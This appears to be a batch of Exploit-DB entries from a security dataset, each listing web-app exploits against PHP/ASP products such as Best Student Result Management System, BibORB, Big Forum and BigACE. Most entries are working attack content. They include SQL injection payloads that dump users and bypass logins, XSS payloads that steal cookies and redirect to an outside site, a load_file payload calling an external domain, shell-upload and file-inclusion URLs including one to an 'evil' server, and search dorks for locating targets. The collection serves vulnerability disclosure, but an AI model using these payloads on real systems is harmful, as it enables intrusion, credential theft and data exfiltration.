deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51972
Description: Best Student Result Management System v1.0 - Multiple SQLi
Type: webapps
Platform: php
Date: 2024-04-08
Author: nu11secur1ty

Exploit:
## Title: Best Student Result Management System v1.0 - Multiple SQLi
## Author: nu11secur1ty
## Date: 04/08/2024
## Vendor: https://www.mayurik.com/
## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The nid parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+'
was submitted in the nid parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.
The attacker can get all information from the system by using this
vulnerability!

STATUS: HIGH- Vulnerability

[+]Payload:
```mysql
---
Parameter: nid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)#

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM
(SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR

    Type: UNION query
    Title: MySQL UNION query (NULL) - 4 columns
    Payload: nid=145448807' or '1766'='1766' UNION ALL SELECT
NULL,NULL,CONCAT(0x716a767871,0x76504a4f[PII_REDACTED]506c6a[PII_REDACTED]67554e66574d[PII_REDACTED]684368426b4f[PII_REDACTED]6e,0x716b787071),NULL#
---
```
Exploit-DB #49122
Description: Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-27
Author: Ex.Mi

Exploit:
# Exploit Title: Best Support System 3.0.4 - 'ticket_body' Persistent XSS (Authenticated)
# Google Dork: "Powered By Best Support System"
# Date: 2020-08-23
# Exploit Author: Ex.Mi [ https://ex-mi.ru ]
# Vendor: Appsbd [ https://appsbd.com ]
# Software Version: 3.0.4
# Software Link: https://codecanyon.net/item/best-support-systemclient-support-desk-help-centre/21357317
# Tested on: Kali Linux
# CVE: CVE-2020-24963
# CWE: CWE-79


[i] :: Info:

An Authenticated Persistent XSS vulnerability was discovered in the
Best Support System, tested version — v3.0.4.


[$] :: Payloads:

13"-->">'` -- `<!--<img src="--><img src=x
onerror=(alert)(`Ex.Mi`);(alert)(document.cookie);location=`https://ex-mi.ru`;>


[!] :: PoC (Burp Suite POST request):

POST /support-system/ticket-confirm/ticket-reply/11.html HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 350
Origin: https://localhost
Connection: close
Referer: https://localhost/support-system/ticket/details/11.html
Cookie: [cookies_here]

app_form=8d1c319d5826a789b3ca3e71516b0c5c&ticket_body=%3Cp%3E%3Cbr%3E%3C%2Fp%3E13%22--%26gt%3B%22%26gt%3B'%60+--+%60%3C!--%3Cimg+src%3D%22--%3E%3Cimg+src%3D%22x%22+onerror%3D%22(alert)(%60Ex_Mi%60)%3B(alert)(document.cookie)%3Blocation%3D%60https%3A%2F%2Fex-mi.ru%60%3B%22%3E&status=&app_form_ajax=ad1ce2b2c3eb943efaa8c239ff53acc2
Exploit-DB #10655
Description: Best Top List - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-25
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Best Top List Cross Site Scripting Vulnerability                        |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by Best Top List by Szymon Kosok v. 2.11                        |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : XSS (! love you XSS)=>! hate u SQl inj :)                                                                    | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://localhost/toplist/out.php?id=hacked-by-indoushka&url=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #10685
Description: Best Top List 2.11 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Best Top List Upload Shell Vulnerability                                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by Best Top List by Szymon Kosok v. 2.11            
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 1- http://server/toplist/banner-upload.php =>up u Ev!l
|
| 2- http://server/toplist/banners/sqd/c.php => Find It
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #15999
Description: BetMore Site Suite 4 - 'bid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-01-16
Author: h4ck3r

Exploit:
==
[#] Script: BetMore Site Suite
[#] Version: 4
[#] Link: http://products.epromptc.com/betmore/?pt=4&rfid=55
==
[#] Author: BorN To K!LL - h4ck3r
[#] Contact: SQL@hotmail.co.uk
==
[#] 3xploit:

/mainx_a.php?lngx=[true-value]&x=[true-value]&xid=[true-value]&bid=[Blind-Injection]
==
[#] 3xample:

/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4    // False ,,
/mainx_a.php?lngx=12&x=367&xid=2&bid=78222 and substring(version(),1,1)=4    // True ,,
==
[#] Greetings:
darkc0de's team , AsbMay's Group , w4ck1ng team , Q8 , and all muslims ..
==
Exploit-DB #35309
Description: Betsy 4.0 - 'page' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-02-02
Author: MizoZ

Exploit:
source: https://www.securityfocus.com/bid/46124/info

Betsy is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

Betsy 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/ress.php?page=[LFI]
Exploit-DB #10189
Description: Betsy CMS versions 3.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-11-21
Author: MizoZ

Exploit:
/*

Author          : MizoZ [from MA]
Group           : EvilWay
Email           : mizozx[at]gmail[dot]com

Greetz          : Zuka !!

Good luck DZ :)

*/

The vulnerability is in the file admin/popup.php on the get $_GET['popup']

Exploit :

[HOST]/[PATH]/admin/popup.php?popup=[IT INCLUDE FROM admin/]
Exploit-DB #23010
Description: Better Basket Pro 3.0 Store Builder - Full Path Disclosure
Type: webapps
Platform: php
Date: 2003-08-11
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8386/info

It has been reported that Better Basket Pro (BBPro) Store Builder may reveal path information under some circumstances. This may result a directed attack against system resources.

http://www.example.com/pathofstorebuilder/index.php?cat='
Exploit-DB #33649
Description: BGSvetionik BGS CMS - 'search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-16
Author: hacker@sr.gov.yu

Exploit:
source: https://www.securityfocus.com/bid/38264/info

BGSvetionik BGS CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/?action=search&search=[XSS]
Exploit-DB #21157
Description: bharat Mediratta Gallery 1.1/1.2 - Directory Traversal
Type: webapps
Platform: php
Date: 2001-11-19
Author: Cabezon Aurelien

Exploit:
source: https://www.securityfocus.com/bid/3554/info

Bharat Mediratta Gallery is a free, open source web-based photo album which may be used as an add-on for the PHPNuke web portal.

Due to insufficient validation of user-supplied input, it is be possible to view arbitrary web-readable files via a specially crafted web request which contains '../' sequences.

This issue may allow a remote attacker to gather sensitive information which may be used in directed and organized attacks against a host running the Gallery software.

http://www.somehost.com/modules.php?set_albumName=album01&id=aaw&op=modload&name=gallery&file=index&include=../../../../../../etc/hosts
Exploit-DB #21676
Description: Bharat Mediratta Gallery 1.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-08-01
Author: PowerTech

Exploit:
source: https://www.securityfocus.com/bid/5375/info

Gallery is prone to an issue which may allow remote attackers to include arbitrary files located on remote servers. This issue is present in several PHP script files provided with Gallery. An attacker may exploit this by supplying a path to a file on a remote host as a value for the 'GALLERY_BASEDIR' parameter. 

http://hostname/gallery/captionator.php?GALLERY_BASEDIR=http://your.evil.server.tdl/
Exploit-DB #7814
Description: BibCiter 1.4 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-01-16
Author: nuclear

Exploit:
#BibCiter 1.4 Multiple SQL Injection Vulnerability


#Author: nuclear


#site:
http://bibciter.sourceforge.net/


#vuln:
http://localhost/[path]/projects.php?idp=-721) UNION SELECT @@version%23
http://localhost/[path]/contacts.php?idc=-1) UNION SELECT @@version%23
http://localhost/[path]/users.php?idu=-1) UNION SELECT @@version%23


#demo:
http://bibciter.net/demo/reports/projects.php?idp=-721)%20UNION%20SELECT%20@@version%23
http://bibciter.net/demo/reports/contacts.php?idc=-1)%20UNION%20SELECT%20@@version%23
http://bibciter.net/demo/reports/users.php?idu=-1)%20UNION%20SELECT%20@@version%23


#notes:
watch the title for your query results ^^


#description:
vulnerable function:

function get_vatitle($idregister,$idregistervalue,$nameregister,$tableregister,$pretitle) {
 $vartitle = "SELECT $nameregister FROM $tableregister WHERE ($idregister=$idregistervalue)";
 $vartitle = mysql_query($vartitle) or die("error functions_queries line 4");
 $vartitle = mysql_fetch_array($vartitle);
 extract($vartitle);
 $title = $pretitle." &raquo; ".$$nameregister;
 return $title;
}

called in these files:
projects.php;contacts.php;users.php;types_authors.php;bibliographies.php;types_projects.php;
types_languages.php;types_countries.php;


#Special Greets to my bro Mi4night.. ur always the best


#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar


# milw0rm.com [2009-01-16]
Exploit-DB #25118
Description: BibORB 1.3.2 - 'bibindex.php?search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-02-17
Author: Patrick Hof

Exploit:
source: https://www.securityfocus.com/bid/12583/info


BibORB is reported prone to multiple vulnerabilities arising from insufficient sanitization of user-supplied input. These issues can be exploited by a remote attacker to carry out cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload attacks.

These vulnerabilities are reported to affect BibORB version 1.3.2 and all previous versions. 

http://www.example.com/biborb/bibindex.php?mode=displaysearch&search=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&sort=ID
Exploit-DB #25120
Description: BibORB 1.3.2 - 'index.php' Traversal Arbitrary File Manipulation
Type: webapps
Platform: php
Date: 2005-02-17
Author: Patrick Hof

Exploit:
source: https://www.securityfocus.com/bid/12583/info
  
  
BibORB is reported prone to multiple vulnerabilities arising from insufficient sanitization of user-supplied input. These issues can be exploited by a remote attacker to carry out cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload attacks.
  
These vulnerabilities are reported to affect BibORB version 1.3.2 and all previous versions. 

http://www.example.com/to/biborb/index.php?mode=result&database_name=../config.php&action=Delete
Exploit-DB #25119
Description: BibORB 1.3.2 - Add Database 'Description' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-02-17
Author: Patrick Hof

Exploit:
source: https://www.securityfocus.com/bid/12583/info
 
 
BibORB is reported prone to multiple vulnerabilities arising from insufficient sanitization of user-supplied input. These issues can be exploited by a remote attacker to carry out cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload attacks.
 
These vulnerabilities are reported to affect BibORB version 1.3.2 and all previous versions. 

Add Database -> Description: <script>alert('XSS')</script>
Exploit-DB #25121
Description: BibORB 1.3.2 Login Module - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-02-17
Author: Patrick Hof

Exploit:
source: https://www.securityfocus.com/bid/12583/info
   
   
BibORB is reported prone to multiple vulnerabilities arising from insufficient sanitization of user-supplied input. These issues can be exploited by a remote attacker to carry out cross-site scripting, HTML injection, SQL injection, directory traversal, and arbitrary file upload attacks.
   
These vulnerabilities are reported to affect BibORB version 1.3.2 and all previous versions. 

When logging in, use the following username and [CREDENTIAL_REDACTED]: x' or 1=1 or login='x
Password: x') or 1=1 or password=md5('x
Exploit-DB #14035
Description: Big Forum - 'forum.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-24
Author: JaMbA

Exploit:
:::::::::::::::::::::::::

:::::::::::::::::::::::::

=================Exploit======
============



[ EXPL0!T ]

http://server/path/forum.php?id=3(SQL)



===========================================================

Greetz to : Alnjm33-virus-pal -g3n1ux - Predator-Ahmadso - xXx-jago-dz
-inejcteur-4PY-SaYrOs- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #14033
Description: Big Forum 5.2 - Arbitrary File Upload / Local File Inclusion
Type: webapps
Platform: php
Date: 2010-06-24
Author: Zer0 Thunder

Exploit:
=> Big Forum 5.2v Arbitrary File Upload & Local File Inclusion Vulnerability
=> Author	: Zer0 Thunder
=> Home		: http://colombohackers.com
=> Download	: http://sourceforge.net/projects/npage-bigforum/files/bigforum%205.2/bf5.2.zip/download
=> Date 	: 06/24/2010



Arbitrary File Upload
---------------------



Vuln C0de

=============================================================================================================

   if($_FILES['datei']['size'] <  102400)
      {
      move_uploaded_file($_FILES['datei']['tmp_name'], "images/avatar/".$_FILES['datei']['name']);
      echo "Danke, dein Avatar wurde hochgeladen, es wird nun angezeigt.";
	  $pfad = $_FILES['datei']['name'];
	  mysql_query("UPDATE users SET ava_link = 'images/avatar/$pfad' WHERE username LIKE '". USER ."'");
      }

you will have to register before doing this 

=============================================================================================================


Vuln Page link : http://localhost/bf/main.php?do=ava   
(Upload the shell.php or shell.jpg.php )





Local File Inclusion 
--------------------


=============================================================================================================
if($_GET["aktion"] == "install")
  {
    $path = "../includes/plugins/$_GET[datei]";
    include($path);
    plugin_install($kurzc, $_GET["datei"]);
    echo "Danke, der Mod wurde erfolgreich installiert.";
    exit;
  }


=============================================================================================================


http://localhost/bf/admin/admin.php?do=mods&aktion=install&datei=../../../../../boot.ini%00






--------------------------------------
Msn : zer0_thunder@colombohackers.com
--------------------------------------
Exploit-DB #12533
Description: big.asp - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-08
Author: Ra3cH

Exploit:
*******************************************************************************
# Author   : Ra3cH
# Price    : N/A
# Title    : (big.asp) SQL Injection Vulnerability
# Site     : www.dz4all.com/cc
# Dork     : inurl:enq/big.asp?id=
# Risk     : High
*
**Vulnerable script: enq/big.asp?id= (SQL-injection)
*
---------------------------------------------------------
*
*
**http://server/[path]/enq/big.asp?id=  [SQL Inject]
*
*
**Exploit:
*
*
**-999.9 UNION ALL SELECT null,null,null,null,null,null,null,null,null,null,null,null from user where 1=1
*
*
**Exemple:
*
*
**http://[site]/enq/big.asp?id=-999.9 UNION ALL SELECT null,null,user_pass,null,null,null,null,null,null,null,null from user where 1=1
*
**or
*
*
**http://[site]/enq/big.asp?id=-999.9 UNION ALL SELECT null,null,null,null,user_name,null,null,null,null,null,null,null from user where 1=1
*
**Admin Login->
*
*
**http://server/[path]/Use your intelligence
*
*""""""""""""""""""""
** Greetz to :     ALLAH
**         All Members of  http://www.DZ4All.cOm/Cc
**          And My BrOther AnGeL25dZ & yasMouh & ProToCoL & Mr.Benladen & T O X ! N £ & n2n &
Exploit-DB #28435
Description: BigACE 1.8.2 - 'admin.cmd.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: Vampire

Exploit:
source: https://www.securityfocus.com/bid/19723/info
   
Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 
   
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
   
Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/command/admin.cmd.php?GLOBALS=[Evil Script]
Exploit-DB #28434
Description: BigACE 1.8.2 - 'download.cmd.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: Vampire

Exploit:
source: https://www.securityfocus.com/bid/19723/info
  
Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 
  
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
  
Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/command/download.cmd.php?GLOBALS=[Evil Script]
Exploit-DB #28432
Description: BigACE 1.8.2 - 'item_main.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: Vampire

Exploit:
source: https://www.securityfocus.com/bid/19723/info

Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 

An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 

A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.

Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/admin/include/item_main.php?GLOBALS=[Evil Script]
Exploit-DB #28433
Description: BigACE 1.8.2 - 'upload_form.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-26
Author: Vampire

Exploit:
source: https://www.securityfocus.com/bid/19723/info
 
Bigace is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. 
 
An attacker can exploit these issues to include arbitrary remote PHP code and execute it in the context of the webserver process. 
 
A successful exploit may lead to a compromise of the underlying system; other attacks are also possible.
 
Version 1.8.2 of Bigace is known to be vulnerable; previous versions may be affected as well.

http://www.example.com/[Bigace]/system/admin/include/upload_form.php?GLOBALS=[Evil Script]